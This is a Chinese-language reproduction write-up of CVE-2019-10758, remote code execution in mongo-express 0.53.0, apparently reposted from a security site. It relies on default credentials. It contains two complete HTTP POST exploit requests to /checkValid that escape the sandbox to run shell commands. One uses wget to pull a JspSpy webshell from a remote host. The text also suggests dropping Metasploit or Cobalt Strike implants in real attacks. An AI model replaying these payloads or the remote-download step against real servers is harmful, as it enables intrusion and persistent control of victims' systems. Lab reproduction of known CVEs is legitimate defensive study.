CVE-2019-10758-Mongo-express-遠程代碼執行


漏洞分析

https://xz.aliyun.com/t/7056

漏洞簡介

mongo-express是一款mongodb的第三方Web界面,使用node和express開發。

如果攻擊者可以成功登錄,或者目標服務器沒有修改默認的賬號密碼(admin:pass),則可以執行任意node.js代碼。

 

影響版本

mongo-express 0.53.0

 

前提條件

1.知道Mongo的賬號密碼,或者未授權

 

特殊情況

由於poc中,用docker拉的mongodb默認是未授權的形式,所以不需要-u&-p來指定數據庫的賬號密碼。但是實際環境中mongodb不太可能是未授權,所以我覺得以cli+參數啟動服務的場景應該算是多見吧。

那么如果受害者指定了用戶名&密碼去啟動express-mongo,那么攻擊者直接未授權就可以打(即不需要指定authoriza header)

 

環境搭建

https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758

環境啟動后,訪問http://your-ip:8081即可查看到Web頁面。

復現環境

mongo-express 0.53.0

MongoDB Version  3.4.24

 

直接構造poc發送即可

 

 就會在 /tmp目錄下生成success

POST /checkValid HTTP/1.1
Host: 目標ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 124

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")

進入docker環境里查看 /tmp目錄

 

 -----------------------------------------------------------------

測試反彈shell不成功

 

 那么來測試遠程下載

 

 遠程下載實戰中可以下載到絕對路徑,或者下載msf/cs馬到/tmp目錄上線

POST /checkValid HTTP/1.1
Host: 目標ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 161

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://目標文件/JspSpy.jsp.txt -O /tmp/5.jsp")

查詢 /tmp目錄下是否下載5.jsp


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM